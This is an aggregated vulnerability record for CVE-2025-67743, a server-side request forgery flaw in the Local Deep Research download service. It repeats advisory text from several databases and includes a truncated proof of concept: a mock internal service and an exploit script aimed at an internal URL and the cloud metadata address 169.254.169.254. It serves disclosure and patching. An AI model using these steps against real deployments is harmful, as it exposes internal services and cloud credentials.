CVE-2025-67743
Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service
Local Deep Research is an AI-powered research assistant for deep, iterative research. In versions from 1.3.0 to before 1.3.9, the download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls. This issue has been patched in version 1.3.9.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.3
Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service
Local Deep Research is an AI-powered research assistant for deep, iterative research. In versions from 1.3.0 to before 1.3.9, the download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls. This issue has been patched in version 1.3.9.
- Record
CVE-2025-67743- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2025-204778
6.3
Local Deep Research is an AI-powered research assistant for deep, iterative research. In versions from 1.3.0 to before 1.3.9, the download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls. This issue has been patched in version 1.3.9.
- Record
EUVD-2025-204778- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9c54-gxh7-ppjc
6.3
Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service
Summary
The download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.
CWE: CWE-918 (Server-Side Request Forgery)
Details
Vulnerable Code Location
File: src/local_deep_research/research_library/services/download_service.py
The application has proper SSRF protection implemented in security/safe_requests.py and security/ssrf_validator.py, which blocks:
- Loopback addresses (127.0.0.0/8)
- Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- AWS metadata endpoint (169.254.169.254)
- Link-local addresses
However, download_service.py bypasses this protection by using raw requests.get() directly:
# Line 1038 - _download_generic method
response = requests.get(url, headers=headers, timeout=30)
# Line 1075
response = requests.get(api_url, timeout=10)
# Line 1100
pdf_response = requests.get(pdf_url, headers=headers, timeout=30)
# Line 1144
response = requests.get(europe_url, headers=headers, timeout=30)
# Line 1187
api_response = requests.get(elink_url, params=params, timeout=10)
# Line 1207
summary_response = requests.get(esummary_url, ...)
# Line 1236
response = requests.get(europe_url, headers=headers, timeout=30)
# Line 1276
response = requests.get(url, headers=headers, timeout=10)
# Line 1298
response = requests.get(europe_url, headers=headers, timeout=30)
Attack Vector
- Attacker submits a malicious URL via
POST /api/resources/<research_id> - URL is stored in database without SSRF validation (
resource_service.py:add_resource()) - Download is triggered via
/library/api/download/<resource_id> download_service.pyfetches the URL using rawrequests.get(), bypassing SSRF protection
PoC
Prerequisites
- Docker and Docker Compose installed
- Python 3.11+
Step 1: Create the Mock Internal Service
File: internal_service.py
#!/usr/bin/env python3
"""Mock internal service that simulates a sensitive internal endpoint."""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class InternalServiceHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
print(f"[INTERNAL SERVICE] {args[0]}")
def do_GET(self):
print(f"\n{'='*60}")
print(f"[!] SSRF DETECTED - Internal service accessed!")
print(f"[!] Path: {self.path}")
print(f"{'='*60}\n")
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
secret_data = {
"status": "SSRF_SUCCESSFUL",
"message": "You have accessed internal service via SSRF!",
"internal_secrets": {
"database_password": "super_secret_db_pass_123",
"api_key": "sk-internal-api-key-xxxxx",
"admin_token": "admin_bearer_token_yyyyy"
}
}
self.wfile.write(json.dumps(secret_data, indent=2).encode())
if __name__ == "__main__":
print("[*] Starting mock internal service on port 8080")
server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler)
server.serve_forever()
Step 2: Create the Exploit Script
File: exploit.py
#!/usr/bin/env python3
"""SSRF Vulnerability Active PoC"""
import sys
import requests
sys.path.insert(0, '/app/src')
def main():
print("=" * 70)
print("SSRF Vulnerability PoC - Active Exploitation")
print("=" * 70)
internal_url = "http://ssrf-internal-service:8080/secret-data"
aws_metadata_url = "http://169.254.169.254/latest/meta-data/"
headers = {"User-Agent":…
- Record
GHSA-9c54-gxh7-ppjc- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
6.3
Local Deep Research is an AI-powered research assistant for deep, iterative research. In versions from 1.3.0 to before 1.3.9, the download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls. This issue has been patched in version 1.3.9.
- Record
CVE-2025-67743- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
6.3
Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service
Local Deep Research is an AI-powered research assistant for deep, iterative research. In versions from 1.3.0 to before 1.3.9, the download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls. This issue has been patched in version 1.3.9.
- Record
CVE-2025-67743- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-9c54-gxh7-ppjc
6.3
Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service
Summary
The download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.
CWE: CWE-918 (Server-Side Request Forgery)
Details
Vulnerable Code Location
File: src/local_deep_research/research_library/services/download_service.py
The application has proper SSRF protection implemented in security/safe_requests.py and security/ssrf_validator.py, which blocks:
- Loopback addresses (127.0.0.0/8)
- Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- AWS metadata endpoint (169.254.169.254)
- Link-local addresses
However, download_service.py bypasses this protection by using raw requests.get() directly:
# Line 1038 - _download_generic method
response = requests.get(url, headers=headers, timeout=30)
# Line 1075
response = requests.get(api_url, timeout=10)
# Line 1100
pdf_response = requests.get(pdf_url, headers=headers, timeout=30)
# Line 1144
response = requests.get(europe_url, headers=headers, timeout=30)
# Line 1187
api_response = requests.get(elink_url, params=params, timeout=10)
# Line 1207
summary_response = requests.get(esummary_url, ...)
# Line 1236
response = requests.get(europe_url, headers=headers, timeout=30)
# Line 1276
response = requests.get(url, headers=headers, timeout=10)
# Line 1298
response = requests.get(europe_url, headers=headers, timeout=30)
Attack Vector
- Attacker submits a malicious URL via
POST /api/resources/<research_id> - URL is stored in database without SSRF validation (
resource_service.py:add_resource()) - Download is triggered via
/library/api/download/<resource_id> download_service.pyfetches the URL using rawrequests.get(), bypassing SSRF protection
PoC
Prerequisites
- Docker and Docker Compose installed
- Python 3.11+
Step 1: Create the Mock Internal Service
File: internal_service.py
#!/usr/bin/env python3
"""Mock internal service that simulates a sensitive internal endpoint."""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class InternalServiceHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
print(f"[INTERNAL SERVICE] {args[0]}")
def do_GET(self):
print(f"\n{'='*60}")
print(f"[!] SSRF DETECTED - Internal service accessed!")
print(f"[!] Path: {self.path}")
print(f"{'='*60}\n")
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
secret_data = {
"status": "SSRF_SUCCESSFUL",
"message": "You have accessed internal service via SSRF!",
"internal_secrets": {
"database_password": "super_secret_db_pass_123",
"api_key": "sk-internal-api-key-xxxxx",
"admin_token": "admin_bearer_token_yyyyy"
}
}
self.wfile.write(json.dumps(secret_data, indent=2).encode())
if __name__ == "__main__":
print("[*] Starting mock internal service on port 8080")
server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler)
server.serve_forever()
Step 2: Create the Exploit Script
File: exploit.py
#!/usr/bin/env python3
"""SSRF Vulnerability Active PoC"""
import sys
import requests
sys.path.insert(0, '/app/src')
def main():
print("=" * 70)
print("SSRF Vulnerability PoC - Active Exploitation")
print("=" * 70)
internal_url = "http://ssrf-internal-service:8080/secret-data"
aws_metadata_url = "http://169.254.169.254/latest/meta-data/"
headers = {"User-Agent":…
- Record
GHSA-9c54-gxh7-ppjc- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVPYSEC-2026-1581
6.3
Local Deep Research is Vulnerable to Server-Side Request Forgery (SSRF) in Download Service
Summary
The download service (download_service.py) makes HTTP requests using raw requests.get() without utilizing the application's SSRF protection (safe_requests.py). This can allow attackers to access internal services and attempt to reach cloud provider metadata endpoints (AWS/GCP/Azure), as well as perform internal network reconnaissance, by submitting malicious URLs through the API, depending on the deployment and surrounding controls.
CWE: CWE-918 (Server-Side Request Forgery)
Details
Vulnerable Code Location
File: src/local_deep_research/research_library/services/download_service.py
The application has proper SSRF protection implemented in security/safe_requests.py and security/ssrf_validator.py, which blocks:
- Loopback addresses (127.0.0.0/8)
- Private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
- AWS metadata endpoint (169.254.169.254)
- Link-local addresses
However, download_service.py bypasses this protection by using raw requests.get() directly:
# Line 1038 - _download_generic method
response = requests.get(url, headers=headers, timeout=30)
# Line 1075
response = requests.get(api_url, timeout=10)
# Line 1100
pdf_response = requests.get(pdf_url, headers=headers, timeout=30)
# Line 1144
response = requests.get(europe_url, headers=headers, timeout=30)
# Line 1187
api_response = requests.get(elink_url, params=params, timeout=10)
# Line 1207
summary_response = requests.get(esummary_url, ...)
# Line 1236
response = requests.get(europe_url, headers=headers, timeout=30)
# Line 1276
response = requests.get(url, headers=headers, timeout=10)
# Line 1298
response = requests.get(europe_url, headers=headers, timeout=30)
Attack Vector
- Attacker submits a malicious URL via
POST /api/resources/<research_id> - URL is stored in database without SSRF validation (
resource_service.py:add_resource()) - Download is triggered via
/library/api/download/<resource_id> download_service.pyfetches the URL using rawrequests.get(), bypassing SSRF protection
PoC
Prerequisites
- Docker and Docker Compose installed
- Python 3.11+
Step 1: Create the Mock Internal Service
File: internal_service.py
#!/usr/bin/env python3
"""Mock internal service that simulates a sensitive internal endpoint."""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
class InternalServiceHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
print(f"[INTERNAL SERVICE] {args[0]}")
def do_GET(self):
print(f"\n{'='*60}")
print(f"[!] SSRF DETECTED - Internal service accessed!")
print(f"[!] Path: {self.path}")
print(f"{'='*60}\n")
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
secret_data = {
"status": "SSRF_SUCCESSFUL",
"message": "You have accessed internal service via SSRF!",
"internal_secrets": {
"database_password": "super_secret_db_pass_123",
"api_key": "sk-internal-api-key-xxxxx",
"admin_token": "admin_bearer_token_yyyyy"
}
}
self.wfile.write(json.dumps(secret_data, indent=2).encode())
if __name__ == "__main__":
print("[*] Starting mock internal service on port 8080")
server = HTTPServer(("0.0.0.0", 8080), InternalServiceHandler)
server.serve_forever()
Step 2: Create the Exploit Script
File: exploit.py
#!/usr/bin/env python3
"""SSRF Vulnerability Active PoC"""
import sys
import requests
sys.path.insert(0, '/app/src')
def main():
print("=" * 70)
print("SSRF Vulnerability PoC - Active Exploitation")
print("=" * 70)
internal_url = "http://ssrf-internal-service:8080/secret-data"
aws_metadata_url = "http://169.254.169.254/latest/meta-data/"
headers = {"User-Agent":…
- Record
PYSEC-2026-1581- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
local-deep-researchPyPI |
1.3.0 up to 1.3.9 | 1.3.9 |
local-deep-researchPyPI |
1.3.0 up to 1.3.9, plus listed versions 1.3.11.3.61.3.71.3.8 |
1.3.9 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-67743 is a medium vulnerability (CVSS 6.3) in Learningcircuit Local Deep Research, published December 23, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 24th percentile. Fixed in local-deep-research 1.3.9.
References
github.com/LearningCircuit/local-deep-research/security/advisories/GHSA-9c54-gxh7-ppjc
github.com/LearningCircuit/local-deep-research/commit/b79089ff30c5d9ae77e6b903c408e1c26ad5c055
nvd.nist.gov/vuln/detail/CVE-2025-67743
github.com/advisories/GHSA-9c54-gxh7-ppjc
github.com/CVEProject/cvelistV5/tree/main/cves/2025/67xxx/CVE-2025-67743.json
github.com/LearningCircuit/local-deep-research
pypi.org/project/local-deep-research
Left out here: the rest of 3 source descriptions. The JSON record has them.